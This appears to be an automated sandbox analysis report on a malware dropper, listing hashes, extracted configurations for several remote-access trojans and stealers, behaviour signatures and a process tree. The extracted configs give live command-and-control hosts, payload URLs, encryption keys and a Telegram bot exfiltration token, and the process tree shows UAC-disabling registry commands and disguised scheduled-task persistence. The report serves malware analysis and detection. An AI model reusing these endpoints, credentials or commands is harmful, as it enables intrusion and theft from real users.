Overview

overview

10

Static

static

10

New Text D...xe.zip

windows10-ltsc 2021-x64

10

New Text D...xe.zip

windows11-21h2-x64

New Text D...od.exe

windows10-ltsc 2021-x64

10

New Text D...od.exe

windows11-21h2-x64

Resubmissions

25-01-2025 23:53

250125-3w9aqawpap 10

25-01-2025 23:45

250125-3r6c9stre1 10

25-01-2025 01:01

250125-bc9zcsypbn 10

13-01-2025 17:50

250113-wewjza1pes 10

13-01-2025 17:32

250113-v4m4fssrgj 10

Analysis

  • max time kernel
    50s
  • max time network
    258s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25-01-2025 23:53

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    New Text Document mod.exe

  • Size

    761KB

  • MD5

    c6040234ee8eaedbe618632818c3b1b3

  • SHA1

    68115f8c3394c782aa6ba663ac78695d2b80bf75

  • SHA256

    bb459869e5ef6d6dd6f0329080d7cb12542c4b37163ae2cd782620adcd7d55a0

  • SHA512

    a3d8c8c6a990797a99887e0e07a01b1e2fe0a4e53df7294fed18a1e856d56a7762e0ab4a8e4689de411acb4fd29b8d7e247fbc696d855a9976a760d33ab60bcf

  • SSDEEP

    12288:mMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9mWej:mnsJ39LyjbJkQFMhmC+6GD9I

Score
10/10
asyncratnanocorequasarstealeriumvidarxredxwormbotdefaultoffice04roblox executorschoolsystem programvm-kubackdoordefense_evasiondiscoveryexecutionkeyloggerpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Family

xred

C2

xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

vidar

C2

https://t.me/sc1phell

https://steamcommunity.com/profiles/76561199819539662
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Program

C2

tuna91.duckdns.org:1604

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    true

  • install_file

    system.exe

  • install_folder

    %AppData%

aes.plain

Extracted

Family

xworm

Version

5.0

Mutex

WlO6Om8yfxIARVE4

Attributes
  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/7G6zzQwJ

aes.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

bot

C2

wexos47815-61484.portmap.host:61484

Mutex

06e2bb33-968c-4ca7-97dc-f23fbd5c3092

Attributes
  • encryption_key

    8924CB3C9515DA437A37F5AE598376261E5528FC

  • install_name

    msinfo32.exe

  • log_directory

    Update

  • reconnect_delay

    3000

  • startup_key

    Discordupdate

  • subdirectory

    dll32

Extracted

Family

xworm

Version

3.1

C2

172.86.108.55:7771

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Extracted

Family

quasar

Version

1.4.1

Botnet

VM-KU

C2

adidya354-21806.portmap.host:21806

Mutex

cf7c4d30-a326-47cc-a5f0-5a19aa014204

Attributes
  • encryption_key

    E50BC33BC56B70B1A2963DE6EA1855A0E0D0FBCE

  • install_name

    Windows Shell Interactive.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows Shell Interactive

Extracted

Family

asyncrat

Version

A 13

Botnet

Default

C2

163.172.125.253:333

Mutex

AsyncMutex_555223

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

192.168.1.79:4782

0.tcp.in.ngrok.io:14296

193.161.193.99:20466
Mutex

956eafb2-7482-407b-bff4-d2b57a1c3d75

Attributes
  • encryption_key

    EFEBD005E03B8B8669985D9A167E2BEF9FFCA477

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Extracted

Family

quasar

Version

1.4.1

Botnet

ROBLOX EXECUTOR

C2

192.168.50.1:4782

10.0.0.113:4782

LETSQOOO-62766.portmap.host:62766

89.10.178.51:4782
Mutex

90faf922-159d-4166-b661-4ba16af8650e

Attributes
  • encryption_key

    FFEE70B90F5EBED6085600C989F1D6D56E2DEC26

  • install_name

    windows 3543.exe

  • log_directory

    roblox executor

  • reconnect_delay

    3000

  • startup_key

    windows background updater

  • subdirectory

    windows updater

Extracted

Family

quasar

Version

1.3.0.0

Botnet

School

C2

gamwtonxristo.ddns.net:1717

Mutex

QSR_MUTEX_M3Vba1npfJg3Ale25C

Attributes
  • encryption_key

    VtojWKM7f1XyCVdB41wL

  • install_name

    comctl32.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows Defender Startup Scan

  • subdirectory

    Windows Defender

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

2.tcp.eu.ngrok.io:19695

Mutex

gonq3XlXWgiz

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

stealerium

C2

https://api.telegram.org/bot6926474815:AAFx9tLAnf5OAVQZp2teS3G2_6T1wCP67xM/sendMessage?chat_id=-4224073938

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Detect Vidar Stealer 4 IoCs
    stealer
  • Detect Xworm Payload 4 IoCs
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

    keyloggertrojanstealerspywarenanocore
  • Nanocore family
    nanocore
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 14 IoCs
  • Stealerium

    An open source info stealer written in C# first seen in May 2022.

    stealerstealerium
  • Stealerium family
    stealerium
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Xred family
    xred
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Adds policy Run key to start application 2 TTPs 4 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Downloads MZ/PE file 25 IoCs
  • Modifies Windows Firewall 2 TTPs 16 IoCs
    defense_evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Drops startup file 16 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 64 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops autorun.inf file 1 TTPs 4 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 15 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of SetThreadContext 10 IoCs
  • Drops file in Program Files directory 25 IoCs
  • Drops file in Windows directory 24 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 24 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 40 IoCs
  • Modifies registry key 1 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 24 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 40 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 6 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3300
      • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
        "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
        2⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe
          "C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe"
          3⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3836
          • C:\Users\Admin\AppData\Local\Temp\a\1.exe
            "C:\Users\Admin\AppData\Local\Temp\a\1.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3320
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4576
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:860
              • C:\Windows\SysWOW64\findstr.exe
                findstr /I "opssvc wrsa"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4644
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:3848
              • C:\Windows\SysWOW64\findstr.exe
                findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2492
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c md 634977
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4080
              • C:\Windows\SysWOW64\extrac32.exe
                extrac32 /Y /E Gtk
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4140
              • C:\Windows\SysWOW64\findstr.exe
                findstr /V "Constitution" Wagon
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4640
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c copy /b 634977\Surrey.com + Firewire + Values + Expanding + Representing + Gothic + Voltage + Refinance + Nec + Kate 634977\Surrey.com
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1212
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c copy /b ..\Courage + ..\Remove + ..\Throws + ..\Competing Q
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4428
              • C:\Users\Admin\AppData\Local\Temp\634977\Surrey.com
                Surrey.com Q
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:1556
              • C:\Windows\SysWOW64\choice.exe
                choice /d y /t 5
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1448
          • C:\Users\Admin\AppData\Local\Temp\a\test.exe
            "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:948
          • C:\Users\Admin\AppData\Local\Temp\a\zoom_invitecode=23884232.zoom.exe
            "C:\Users\Admin\AppData\Local\Temp\a\zoom_invitecode=23884232.zoom.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4340
            • C:\Windows\SysWOW64\msiexec.exe
              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\0cef7d10d8f459fc\ScreenConnect.ClientSetup.msi"
              5⤵
              • Enumerates connected drives
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:2508
          • C:\Users\Admin\AppData\Local\Temp\a\noyjhoadw.exe
            "C:\Users\Admin\AppData\Local\Temp\a\noyjhoadw.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3100
          • C:\Users\Admin\AppData\Local\Temp\a\ApiUpdater.exe
            "C:\Users\Admin\AppData\Local\Temp\a\ApiUpdater.exe"
            4⤵
            • Adds policy Run key to start application
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:3744
            • C:\Windows\SysWOW64\cmd.exe
              /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2524
              • C:\Windows\SysWOW64\reg.exe
                C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                6⤵
                • UAC bypass
                • System Location Discovery: System Language Discovery
                • Modifies registry key
                PID:1268
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4292
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\Bitdefender\$77-Bitdefender.exe"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1012
                • C:\ProgramData\Bitdefender\$77-Bitdefender.exe
                  C:\ProgramData\Bitdefender\$77-Bitdefender.exe
                  7⤵
                  • Adds policy Run key to start application
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: MapViewOfSection
                  PID:2620
                  • C:\Windows\SysWOW64\cmd.exe
                    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:5104
                    • C:\Windows\SysWOW64\reg.exe
                      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                      9⤵
                      • UAC bypass
                      • System Location Discovery: System Language Discovery
                      • Modifies registry key
                      PID:1676
                  • \??\c:\program files (x86)\internet explorer\iexplore.exe
                    "c:\program files (x86)\internet explorer\iexplore.exe"
                    8⤵
                      PID:2624
            • C:\Users\Admin\AppData\Local\Temp\a\windows.exe
              "C:\Users\Admin\AppData\Local\Temp\a\windows.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4740
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Users\Admin\AppData\Roaming\system.exe"' & exit
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1408
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /f /sc onlogon /rl highest /tn "system" /tr '"C:\Users\Admin\AppData\Roaming\system.exe"'
                  6⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:860
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAC8C.tmp.bat""
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3064
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 3
                  6⤵
                  • System Location Discovery: System Language Discovery
                  • Delays execution with timeout.exe
                  PID:1568
                • C:\Users\Admin\AppData\Roaming\system.exe
                  "C:\Users\Admin\AppData\Roaming\system.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1948
            • C:\Users\Admin\AppData\Local\Temp\a\T.exe
              "C:\Users\Admin\AppData\Local\Temp\a\T.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4540
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\T.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\T.exe' -Force
                5⤵
                • Drops startup file
                • System Location Discovery: System Language Discovery
                PID:4304
            • C:\Users\Admin\AppData\Local\Temp\a\Enalib.exe
              "C:\Users\Admin\AppData\Local\Temp\a\Enalib.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2116
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\Enalib.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Enalib.exe' -Force
                5⤵
                • Drops startup file
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:3896
            • C:\Users\Admin\AppData\Local\Temp\a\36.exe
              "C:\Users\Admin\AppData\Local\Temp\a\36.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4960
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4960 -s 392
                5⤵
                • Program crash
                PID:4148
            • C:\Users\Admin\AppData\Local\Temp\a\access.exe
              "C:\Users\Admin\AppData\Local\Temp\a\access.exe"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4700
            • C:\Users\Admin\AppData\Local\Temp\a\QGFQTHIU.exe
              "C:\Users\Admin\AppData\Local\Temp\a\QGFQTHIU.exe"
              4⤵
                PID:3644
                • C:\Windows\TEMP\{97F4DFCB-E950-48D2-813C-FD6D59C5C400}\.cr\QGFQTHIU.exe
                  "C:\Windows\TEMP\{97F4DFCB-E950-48D2-813C-FD6D59C5C400}\.cr\QGFQTHIU.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\a\QGFQTHIU.exe" -burn.filehandle.attached=616 -burn.filehandle.self=612
                  5⤵
                    PID:3532
                    • C:\Windows\TEMP\{46C548A1-AF54-44B8-9B40-D2ECD1D8DB53}\.ba\msn.exe
                      C:\Windows\TEMP\{46C548A1-AF54-44B8-9B40-D2ECD1D8DB53}\.ba\msn.exe
                      6⤵
                        PID:3256
                        • C:\Users\Admin\AppData\Roaming\serviceTlsv3_x86\msn.exe
                          C:\Users\Admin\AppData\Roaming\serviceTlsv3_x86\msn.exe
                          7⤵
                            PID:5072
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\SysWOW64\cmd.exe
                              8⤵
                                PID:1172
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  9⤵
                                    PID:836
                        • C:\Users\Admin\AppData\Local\Temp\a\Wallet-PrivateKey.Pdf.exe
                          "C:\Users\Admin\AppData\Local\Temp\a\Wallet-PrivateKey.Pdf.exe"
                          4⤵
                            PID:2492
                            • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                              "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                              5⤵
                                PID:5908
                                • C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe
                                  "C:\Users\Admin\AppData\Local\Temp\SecurityHealthHost.exe"
                                  6⤵
                                    PID:7116
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\020ad751-73cc-45f5-90ee-065439e9c2f3.bat"
                                      7⤵
                                        PID:6596
                                        • C:\Windows\system32\chcp.com
                                          chcp 65001
                                          8⤵
                                            PID:5892
                                  • C:\Users\Admin\AppData\Local\Temp\a\Pdf%20Reader.exe
                                    "C:\Users\Admin\AppData\Local\Temp\a\Pdf%20Reader.exe"
                                    4⤵
                                      PID:1172
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1172 -s 2024
                                        5⤵
                                        • Program crash
                                        PID:4844
                                    • C:\Users\Admin\AppData\Local\Temp\a\ogpayload.exe
                                      "C:\Users\Admin\AppData\Local\Temp\a\ogpayload.exe"
                                      4⤵
                                        PID:1548
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          "schtasks" /create /tn "Windows Defender Startup Scan" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\a\ogpayload.exe" /rl HIGHEST /f
                                          5⤵
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:3440
                                        • C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe
                                          "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe"
                                          5⤵
                                            PID:5584
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              "schtasks" /create /tn "Windows Defender Startup Scan" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe" /rl HIGHEST /f
                                              6⤵
                                              • Scheduled Task/Job: Scheduled Task
                                              PID:5496
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2cga16j5Csql.bat" "
                                              6⤵
                                                PID:4592
                                                • C:\Windows\SysWOW64\chcp.com
                                                  chcp 65001
                                                  7⤵
                                                    PID:6240
                                                  • C:\Windows\SysWOW64\PING.EXE
                                                    ping -n 10 localhost
                                                    7⤵
                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                    • Runs ping.exe
                                                    PID:6624
                                                  • C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe
                                                    "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe"
                                                    7⤵
                                                      PID:6288
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        "schtasks" /create /tn "Windows Defender Startup Scan" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Defender\comctl32.exe" /rl HIGHEST /f
                                                        8⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:7076
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5Wnpa61VeNZ2.bat" "
                                                        8⤵
                                                          PID:6680
                                                          • C:\Windows\SysWOW64\chcp.com
                                                            chcp 65001
                                                            9⤵
                                                              PID:6304
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6288 -s 2284
                                                            8⤵
                                                            • Program crash
                                                            PID:1924
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5584 -s 2016
                                                        6⤵
                                                        • Program crash
                                                        PID:4992
                                                  • C:\Users\Admin\AppData\Local\Temp\a\Client-base.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\a\Client-base.exe"
                                                    4⤵
                                                      PID:1968
                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                        "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
                                                        5⤵
                                                        • Scheduled Task/Job: Scheduled Task
                                                        PID:2460
                                                    • C:\Users\Admin\AppData\Local\Temp\a\Servers.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\a\Servers.exe"
                                                      4⤵
                                                        PID:1984
                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                          "schtasks" /create /tn "Server Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe" /rl HIGHEST /f
                                                          5⤵
                                                          • Scheduled Task/Job: Scheduled Task
                                                          PID:5344
                                                        • C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe
                                                          "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe"
                                                          5⤵
                                                            PID:3708
                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                              "schtasks" /create /tn "Server Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsLockerZAP\Windows Defender SmartScreen (32 bit).exe" /rl HIGHEST /f
                                                              6⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5836
                                                        • C:\Users\Admin\AppData\Local\Temp\a\FXServer.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\a\FXServer.exe"
                                                          4⤵
                                                            PID:1484
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                              5⤵
                                                                PID:4120
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                  6⤵
                                                                  • Modifies registry key
                                                                  PID:3852
                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
                                                                5⤵
                                                                  PID:4592
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\GoogleDat\GoogleUpdate.exe"
                                                                    6⤵
                                                                      PID:2312
                                                                      • C:\ProgramData\GoogleDat\GoogleUpdate.exe
                                                                        C:\ProgramData\GoogleDat\GoogleUpdate.exe
                                                                        7⤵
                                                                          PID:4716
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                            8⤵
                                                                              PID:5152
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                9⤵
                                                                                • Modifies registry key
                                                                                PID:6212
                                                                            • C:\Windows\SysWOW64\svchost.exe
                                                                              svchost.exe
                                                                              8⤵
                                                                                PID:5344
                                                                      • C:\Users\Admin\AppData\Local\Temp\a\ciscotest.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\a\ciscotest.exe"
                                                                        4⤵
                                                                          PID:5716
                                                                      • C:\ProgramData\Synaptics\Synaptics.exe
